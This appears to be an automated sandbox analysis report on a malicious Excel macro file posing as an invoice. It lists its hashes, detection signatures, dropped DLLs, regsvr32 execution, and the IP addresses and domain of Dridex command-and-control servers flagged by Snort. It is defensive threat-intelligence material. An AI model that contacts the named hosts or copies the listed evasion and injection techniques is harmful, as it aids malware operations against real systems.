Analysis Report 1_Total New Invoices-Thursday January 21_2021.xlsm

Overview

General Information

Sample Name: 1_Total New Invoices-Thursday January 21_2021.xlsm
Analysis ID: 342716
MD5: a52a88ae97dd408d38d98c9aa7f81142
SHA1: 234b65bc42a077c98c61a8eb4870d41e0039013e
SHA256: c7e6848fd63681514d6dad3032e358a257dde3aa1cd3b349306283356bca2608

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Document exploit detected (creates forbidden files)
Document exploit detected (drops PE files)
Multi AV Scanner detection for submitted file
Sigma detected: BlueMashroom DLL Load
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Document contains an embedded VBA macro which may execute processes
Document contains an embedded VBA macro with suspicious strings
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Office process drops PE file
Sigma detected: Microsoft Office Product Spawning Windows Shell
Sigma detected: Regsvr32 Anomaly
Abnormal high CPU Usage
Adds / modifies Windows certificates
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Is looking for software installed on the system
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the installation date of Windows
Registers a DLL
Sample execution stops while process was sleeping (likely an evasion)
Uses a known web browser user agent for HTTP communication
Uses insecure TLS / SSL version for HTTPS connection

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: 1_Total New Invoices-Thursday January 21_2021.xlsm Virustotal: Detection: 27% Perma Link

Compliance:

barindex
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49176 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49181 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49185 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49190 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49194 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49198 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49202 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49206 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49211 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49214 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49220 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49222 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49228 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49229 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49235 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49237 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49239 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49247 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49250 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49251 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49259 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49263 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49264 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49265 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49270 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49275 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49281 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49282 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49288 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49294 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49298 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49300 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49302 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49307 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49314 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49318 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49319 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49320 version: TLS 1.0
Uses new MSVCR Dlls
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Uses secure TLS version for HTTPS connections
Source: unknown HTTPS traffic detected: 64.37.52.172:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 103.83.81.27:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: unknown HTTPS traffic detected: 198.136.54.91:443 -> 192.168.2.22:49184 version: TLS 1.2
Source: unknown HTTPS traffic detected: 192.185.224.50:443 -> 192.168.2.22:49191 version: TLS 1.2

Software Vulnerabilities:

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\kxwni.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\sxzjqf.dll Jump to behavior
Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: l3v7tq4[1].rar.0.dr Jump to dropped file
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe Jump to behavior
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: qsf.surfescape.net
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 64.37.52.172:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 64.37.52.172:443

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49170
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49171
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49173
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49173
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49174
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49175
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49176
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49178
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49179
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49179
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49181
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49182
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49183
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49183
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49185
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49187
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49188
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49188
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49190
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49193
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49193
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49192
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49194
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49196
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49197
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49197
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49198
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49200
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49201
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49201
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49202
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49204
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49205
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49205
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49206
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49207
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49209
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49209
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49211
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49212
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49212
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49213
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49214
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49215
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49218
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49218
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49219
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49219
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49220
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49222
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49221
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49223
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49226
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49226
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49227
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49227
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49228
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49229
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49230
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49231
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49234
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49234
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49235
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49237
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49236
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49236
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49238
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49239
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49240
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49241
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49244
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49244
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49246
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49246
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49247
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49248
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49248
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49250
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49249
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49251
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49252
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49253
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49255
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49255
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49259
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49258
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49258
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49260
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49260
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49261
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49261
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49263
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49262
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49264
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49265
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49266
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49268
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49269
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49270
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49271
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49271
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49273
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49275
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49276
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49276
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49278
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49278
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49277
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49279
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49281
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49282
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49283
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49283
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49284
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49286
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49288
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49289
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49289
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49290
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49292
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49292
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49294
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49295
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49295
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49297
